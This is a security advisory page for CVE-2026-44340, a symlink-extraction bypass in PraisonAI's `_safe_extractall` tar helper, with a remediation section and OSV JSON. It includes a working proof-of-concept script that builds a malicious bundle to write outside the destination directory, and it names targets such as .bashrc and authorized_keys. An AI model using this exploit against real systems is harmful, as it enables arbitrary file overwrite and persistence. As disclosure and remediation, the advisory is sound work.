CVE-2026-44340: PraisonAI PraisonAI's Symlink-extraction Bypass Of `_safe_extractall` Vulnerability

HIGH
Advisory Identifier: GHSA-9q28-ghcr-c4x3
CVSS 7.5
CWE-59 CWE-22
Published
Advisory Summary

CVE-2026-44340 is a HIGH (CVSS 7.5) praisonai's symlink-extraction bypass of `_safe_extractall` vulnerability (CWE-59: Improper Link Resolution Before File Access ('Link Following')) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves praisonai's symlink-extraction bypass of `_safe_extractall` writes outside `dest_dir`. Remediation is available by upgrading affected packages to version 4.6.37.

CVE-2026-44340 at a Glance

CVE Identifier CVE-2026-44340
GHSA Identifier GHSA-9q28-ghcr-c4x3
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-59: Improper Link Resolution Before File Access ('Link Following')
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-44340

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

PraisonAI fixed: 4.6.37
pip install PraisonAI>=4.6.37
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show PraisonAI

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-44340, inspect your installed packages using pip:

pip show PraisonAI

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.37), your application is affected.

Note: The pip show PraisonAI command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following'), where the product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `_safe_extractall` helper that all `recipe pull`, `recipe publish`, and `recipe unpack` flows route through validates each archive member's `name` for absolute paths, `..` segments, and resolved-path escape — but does **not** validate `member.linkname`, does not reject symlink/hardlink members, and calls `tar.extractall(dest_dir)` without `filter="data"`. A bundle that contains a symlink with a name inside `dest_dir` but a `linkname` pointing outside it, followed by a regular file whose path traverses *through* the just-created symlink, escapes `dest_dir` and lets the attacker write arbitrary content to an attacker-chosen location on the victim's filesystem. ## Affected paths Every code path that calls `_safe_extractall` is exposed: | Caller | File:line | |---|---| | `praisonai recipe unpack` | `src/praisonai/praisonai/cli/features/recipe.py:1175` (introduced as the fix for GHSA-99g3-w8gr-x37c) | | `LocalRegistry.unpack` (recipe pull) | `src/praisonai/praisonai/recipe/registry.py:413` | | Registry archive validation (publish) | `src/praisonai/praisonai/recipe/registry.py:808` | ## Root cause `recipe/registry.py:131-178`: ```python def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None: ... for member in tar.getmembers(): ... member_path = Path(member.name) if member_path.is_absolute(): raise RegistryError(...) if '..' in member_path.parts: raise RegistryError(...) resolved = (dest_resolved / member_path).resolve() if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved: raise RegistryError(...) # All members validated — safe to extract tar.extractall(dest_dir) ``` Three gaps: 1. The loop checks only `member.name`. `member.linkname` (the symlink / hardlink target) is not inspected. 2. `member.issym()` and `member.islnk()` are not used to refuse link members at all. 3. `tar.extractall(dest_dir)` runs without `filter="data"`. On Python ≤ 3.13 the default is `fully_trusted` (with a DeprecationWarning on 3.12+), which permits symlinks pointing outside `dest_dir`. When the archive is extracted in member order, the symlink lands first, and any subsequent member whose path traverses through that symlink follows it to the attacker's chosen location. ## Reproduction Tested in a disposable container against `praisonai==4.6.35` (`pip install praisonai`, no other modifications). `make_bundle.py`: ```python import io, json, tarfile manifest = json.dumps({"name": "legit", "version": "1.0.0"}).encode() with tarfile.open("malicious.praison", "w:gz") as tar: info = tarfile.TarInfo("manifest.json"); info.size = len(manifest) tar.addfile(info, io.BytesIO(manifest)) sym = tarfile.TarInfo("legit/escape") sym.type = tarfile.SYMTYPE sym.linkname = "/tmp/PWNED" tar.addfile(sym) payload = b"PWNED via symlink-extraction bypass of _safe_extractall\n" pf = tarfile.TarInfo("legit/escape/owned.txt"); pf.size = len(payload) tar.addfile(pf, io.BytesIO(payload)) ``` `direct_test.py`: ```python import shutil, tarfile from pathlib import Path from praisonai.recipe.registry import _safe_extractall DEST = Path("/work/recipes_direct") shutil.rmtree(DEST, ignore_errors=True); DEST.mkdir(parents=True) Path("/tmp/PWNED").mkdir(parents=True, exist_ok=True) with tarfile.open("malicious.praison", "r:gz") as tar: _safe_extractall(tar, DEST) assert Path("/tmp/PWNED/owned.txt").exists(), "did not escape" print("PWNED:", Path("/tmp/PWNED/owned.txt").read_text()) ``` Run: ```bash docker run --rm -v "$PWD:/work" -w /work python:3.11-slim sh -c ' pip install -q praisonai && python make_bundle.py && python direct_test.py ' ``` Observed output: ``` _safe_extractall returned cleanly PWNED: PWNED via symlink-extraction bypass of _safe_extractall ``` `/tmp/PWNED/owned.txt` exists after the call returns, written outside the destination directory the helper was asked to extract into. ## Impact Arbitrary file write with attacker-controlled content to an attacker-chosen path, on every host that processes a malicious `.praison` bundle through any of the three callers above. Realistic exploitation paths: - A user runs `praisonai recipe unpack ./<malicious>.praison` after obtaining the bundle from a shared registry, a tutorial link, or direct messaging. - A user runs `praisonai recipe pull <name>` against a malicious or compromised registry. - A registry server processes an uploaded `.praison` bundle (the publish path is reachable over the network if the server is exposed. per GHSA-r9x3-wx45-2v7f and GHSA-2xgv-5cv2-47vv). Where the agent process runs as a regular user, the attacker can overwrite shell config (`.bashrc`, `.zshrc`, `.profile`), SSH `authorized_keys`, cron entries, or project files in adjacent directories. Where the process runs as root (registry-server deployments and some `sudo`-launched workflows), the attacker controls arbitrary system files. This re-opens the `recipe pull`, `recipe publish`, and `recipe unpack` paths that GHSA-99g3-w8gr-x37c, GHSA-4rx4-4r3x-6534, GHSA-r9x3-wx45-2v7f, and GHSA-4ph2-f6pf-79wv were each intended to close. ## Suggested remediation Single-line fix at `recipe/registry.py:178`: ```python tar.extractall(dest_dir, filter="data") ``` `filter="data"` (introduced in Python 3.12; available as a backport on 3.8+ via the official PEP 706 reference implementation) refuses symlinks, hardlinks, device nodes, and absolute or escaping link targets, it is the canonical Python defense against this class. If you also support older Python, add an explicit guard inside the existing per-member loop before `tar.extractall`: ```python if member.issym() or member.islnk(): link_target = (dest_resolved / member_path.parent / member.linkname).resolve() if member.linkname.startswith("/") or not str(link_target).startswith(str(dest_resolved) + os.sep): raise RegistryError( f"Refusing to extract link with target outside dest dir: " f"{member.name} -> {member.linkname}" ) ``` ## Affected versions `praisonai >= 2.7.2` through current `4.6.35` (the helper exists at least back to the earliest path-traversal patch chain referenced in GHSA-99g3-w8gr-x37c). All releases that route extraction through `_safe_extractall` are exposed. ## Disclosure Reported privately via the project's GHSA workflow at https://github.com/MervinPraison/PraisonAI/security/advisories/new -- Dhiral Vyas

CVE-2026-44340 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
4.6.37
Product / Package Ecosystem Affected Versions Fixed Version
PraisonAI
PyPI
< 4.6.37
4.6.37

References

Frequently Asked Questions

What is CVE-2026-44340?
CVE-2026-44340 is a security vulnerability in PraisonAI involving PraisonAI's symlink-extraction bypass of `_safe_extractall` writes outside `dest_dir` under CWE-59: Improper Link Resolution Before File Access ('Link Following').
Which PraisonAI versions are affected?
Affected versions include releases prior to 4.6.37 across affected packages: PraisonAI.
What version fixes CVE-2026-44340?
Upgrading to 4.6.37 (or the latest patched release for your respective branch) resolves the vulnerability.
Is PraisonAI affected?
Yes, PraisonAI is affected in releases prior to 4.6.37. Upgrade your dependency to 4.6.37 or later.
What is the CVSS score of CVE-2026-44340?
CVE-2026-44340 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-44340?
CVE-2026-44340 is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following') (The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.).
How can I check PyPI dependencies for CVE-2026-44340?
Run the dependency tree command: 'pip show PraisonAI'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9q28-ghcr-c4x3",
  "modified" : "2026-05-11T13:59:41Z",
  "published" : "2026-05-11T13:59:41Z",
  "aliases" : [ "CVE-2026-44340" ],
  "summary" : "PraisonAI's symlink-extraction bypass of `_safe_extractall` writes outside `dest_dir`",
  "details" : "### Summary\nThe `_safe_extractall` helper that all `recipe pull`, `recipe publish`, and `recipe unpack` flows route through validates each archive member's `name` for absolute paths, `..` segments, and resolved-path escape — but does **not** validate `member.linkname`, does not reject symlink/hardlink members, and calls `tar.extractall(dest_dir)` without `filter=\"data\"`. A bundle that contains a symlink with a name\ninside `dest_dir` but a `linkname` pointing outside it, followed by a regular file whose path traverses *through* the just-created symlink, escapes `dest_dir` and lets the attacker write arbitrary content to an attacker-chosen location on the victim's filesystem.\n\n## Affected paths\n\nEvery code path that calls `_safe_extractall` is exposed:\n\n| Caller | File:line |\n|---|---|\n| `praisonai recipe unpack` | `src/praisonai/praisonai/cli/features/recipe.py:1175` (introduced as the fix for GHSA-99g3-w8gr-x37c) |\n| `LocalRegistry.unpack` (recipe pull) | `src/praisonai/praisonai/recipe/registry.py:413` |\n| Registry archive validation (publish) | `src/praisonai/praisonai/recipe/registry.py:808` |\n\n## Root cause\n\n`recipe/registry.py:131-178`:\n\n```python\ndef _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:\n    ...\n    for member in tar.getmembers():\n        ...\n        member_path = Path(member.name)\n        if member_path.is_absolute(): raise RegistryError(...)\n        if '..' in member_path.parts: raise RegistryError(...)\n        resolved = (dest_resolved / member_path).resolve()\n        if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:\n            raise RegistryError(...)\n    # All members validated — safe to extract\n    tar.extractall(dest_dir)\n```\n\nThree gaps:\n\n1. The loop checks only `member.name`. `member.linkname` (the symlink / hardlink target) is not inspected.\n2. `member.issym()` and `member.islnk()` are not used to refuse link members at all.\n3. `tar.extractall(dest_dir)` runs without `filter=\"data\"`. On Python ≤ 3.13 the default is `fully_trusted` (with a DeprecationWarning on 3.12+), which permits symlinks pointing outside `dest_dir`.\n\nWhen the archive is extracted in member order, the symlink lands first, and any subsequent member whose path traverses through that symlink follows it to the attacker's chosen location.\n\n## Reproduction\n\nTested in a disposable container against `praisonai==4.6.35` (`pip install praisonai`, no other modifications).\n\n`make_bundle.py`:\n\n```python\nimport io, json, tarfile\nmanifest = json.dumps({\"name\": \"legit\", \"version\": \"1.0.0\"}).encode()\nwith tarfile.open(\"malicious.praison\", \"w:gz\") as tar:\n    info = tarfile.TarInfo(\"manifest.json\"); info.size = len(manifest)\n    tar.addfile(info, io.BytesIO(manifest))\n\n    sym = tarfile.TarInfo(\"legit/escape\")\n    sym.type = tarfile.SYMTYPE\n    sym.linkname = \"/tmp/PWNED\"\n    tar.addfile(sym)\n\n    payload = b\"PWNED via symlink-extraction bypass of _safe_extractall\\n\"\n    pf = tarfile.TarInfo(\"legit/escape/owned.txt\"); pf.size = len(payload)\n    tar.addfile(pf, io.BytesIO(payload))\n```\n\n`direct_test.py`:\n\n```python\nimport shutil, tarfile\nfrom pathlib import Path\nfrom praisonai.recipe.registry import _safe_extractall\n\nDEST = Path(\"/work/recipes_direct\")\nshutil.rmtree(DEST, ignore_errors=True); DEST.mkdir(parents=True)\nPath(\"/tmp/PWNED\").mkdir(parents=True, exist_ok=True)\n\nwith tarfile.open(\"malicious.praison\", \"r:gz\") as tar:\n    _safe_extractall(tar, DEST)\n\nassert Path(\"/tmp/PWNED/owned.txt\").exists(), \"did not escape\"\nprint(\"PWNED:\", Path(\"/tmp/PWNED/owned.txt\").read_text())\n```\n\nRun:\n\n```bash\ndocker run --rm -v \"$PWD:/work\" -w /work python:3.11-slim sh -c '\n  pip install -q praisonai &&\n  python make_bundle.py &&\n  python direct_test.py\n'\n```\n\nObserved output:\n\n```\n_safe_extractall returned cleanly\nPWNED: PWNED via symlink-extraction bypass of _safe_extractall\n```\n\n`/tmp/PWNED/owned.txt` exists after the call returns, written outside the destination directory the helper was asked to extract into.\n\n## Impact\n\nArbitrary file write with attacker-controlled content to an attacker-chosen path, on every host that processes a malicious `.praison` bundle through any of the three callers above.\n\nRealistic exploitation paths:\n\n- A user runs `praisonai recipe unpack ./<malicious>.praison` after obtaining the bundle from a shared registry, a tutorial link, or\n  direct messaging.\n- A user runs `praisonai recipe pull <name>` against a malicious or compromised registry.\n- A registry server processes an uploaded `.praison` bundle (the publish path is reachable over the network if the server is exposed. per GHSA-r9x3-wx45-2v7f and GHSA-2xgv-5cv2-47vv).\n\nWhere the agent process runs as a regular user, the attacker can overwrite shell config (`.bashrc`, `.zshrc`, `.profile`), SSH `authorized_keys`, cron entries, or project files in adjacent directories. Where the process runs as root (registry-server deployments and some `sudo`-launched workflows), the attacker controls arbitrary system files.\n\nThis re-opens the `recipe pull`, `recipe publish`, and `recipe unpack` paths that GHSA-99g3-w8gr-x37c, GHSA-4rx4-4r3x-6534, GHSA-r9x3-wx45-2v7f, and GHSA-4ph2-f6pf-79wv were each intended to close.\n\n## Suggested remediation\n\nSingle-line fix at `recipe/registry.py:178`:\n\n```python\ntar.extractall(dest_dir, filter=\"data\")\n```\n\n`filter=\"data\"` (introduced in Python 3.12; available as a backport on 3.8+ via the official PEP 706 reference implementation) refuses\nsymlinks, hardlinks, device nodes, and absolute or escaping link targets, it is the canonical Python defense against this class.\nIf you also support older Python, add an explicit guard inside the existing per-member loop before `tar.extractall`:\n\n```python\nif member.issym() or member.islnk():\n    link_target = (dest_resolved / member_path.parent / member.linkname).resolve()\n    if member.linkname.startswith(\"/\") or not str(link_target).startswith(str(dest_resolved) + os.sep):\n        raise RegistryError(\n            f\"Refusing to extract link with target outside dest dir: \"\n            f\"{member.name} -> {member.linkname}\"\n        )\n```\n\n## Affected versions\n\n`praisonai >= 2.7.2` through current `4.6.35` (the helper exists at least back to the earliest path-traversal patch chain referenced in\nGHSA-99g3-w8gr-x37c). All releases that route extraction through `_safe_extractall` are exposed.\n\n## Disclosure\n\nReported privately via the project's GHSA workflow at\nhttps://github.com/MervinPraison/PraisonAI/security/advisories/new\n\n-- Dhiral Vyas",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "PraisonAI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.6.37"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.6.36"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9q28-ghcr-c4x3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44340"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-59" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-11T13:59:41Z",
    "nvd_published_at" : "2026-05-08T14:16:47Z"
  }
}